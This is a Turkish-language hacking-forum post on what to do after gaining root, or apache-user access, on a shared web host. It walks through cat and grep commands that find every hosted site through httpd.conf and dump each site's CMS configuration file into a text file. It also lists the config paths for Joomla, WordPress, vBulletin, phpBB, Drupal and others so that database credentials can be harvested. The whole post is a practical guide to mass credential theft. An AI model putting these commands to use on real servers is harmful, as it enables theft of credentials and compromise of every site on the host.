|
|
 |
Evet arkadaşlar çogu kişi bir serverda root olduktan sonra configleri almıyor... Ve sonra server lazım oluyor giremiyor...
Configleri almanız sizin işinizi kolaylaştırcaktır..
/home/kullaniciadi/public_html/ Şeklindeyse Dizin : cat /home/*/public_html/configuration.php>>configler.txt
Kod:
/var/www/vhosts/siteismi.com/httpdocs Şeklindeyse Dizin : cat /var/www/vhosts/*/httpdocs/configuration.php>>configler.txt
Tabi bunlar basit olanlar.. Cat de permission varsa tac kullanabilirsiniz..
Tabi birde şöyle olabiliyor
Kod:
: /hermes/bosweb/web015/b157/sl.kyleand1/public_html/stonezone/bamapparel
Bu durumda arkadaşlar
Kod:
locate "httpd.conf"
deyip httpd.conf dosyamızı aratıyoruz..
Genelde
Kod:
"/usr/local/apache/conf/httpd.conf
" burda olur..
Kod:
cat /usr/local/apache/conf/httpd.conf |grep DocumentRoot
İle Klasorlerin hepsini görebilirsiniz..
Kod:
cat /usr/local/apache/conf/httpd.conf |grep DocumentRoot>>klasorler.txt
klasorler.txt ye kaydedip düzenlersiniz..
Kod:
Örnek İlk Hali : DocumentRoot /hermes/bosweb/web015/b157/sl.kyleand1/z/s/public_html
Örnek Son Hali : cat hermes/bosweb/web015/b157/sl.kyleand1/z/s/public_html/configuration.php>>config.txt
şeklinde yapabilirsiniz..
Excel İle yapabilirsiniz.. yada size kalmış dft009
Birde şu Kodumuz var
cat /usr/local/apache/conf/httpd.conf |grep ServerName
Bu kodlada Serverdaki Siteleri Bulursunuz..
Freebsdlerde httpd.conf yerine
Kod:
"hosting.conf"
olabilir..
Tabi burdaki configuration.php size kalmış Joomla�arın ayar dosyasını size kaydeder.. Siz bunu vbulletin smf vb.. olarak yapabilirsiniz..
Örnek Script Config Yolları :
php nuke -> . /config.php
vbulettin->. /includes/config.php
mybb -> . /inc/config.php
phpbb -> . /config.php
smf -> Settings.php
joomla -> configuration.php , configuration.php-dist
wordpress -> wp-config.php
seditio -> datas/config.php
drupal sistem:/home/user/public_html/sites/default/settings.php
setidio:/home/site/public_html/datas/config.php
vbulletin: /home/site/public_html/includes/config.php
vbulletin: /home/site/public_html/includes/class_core.php
Tabi bu işlemleri Root olmanıza gerek yok .. Geçişler varsada yapabilirsiniz..
uid = 43(apache) vb..
|
|
 |
|
|
|
|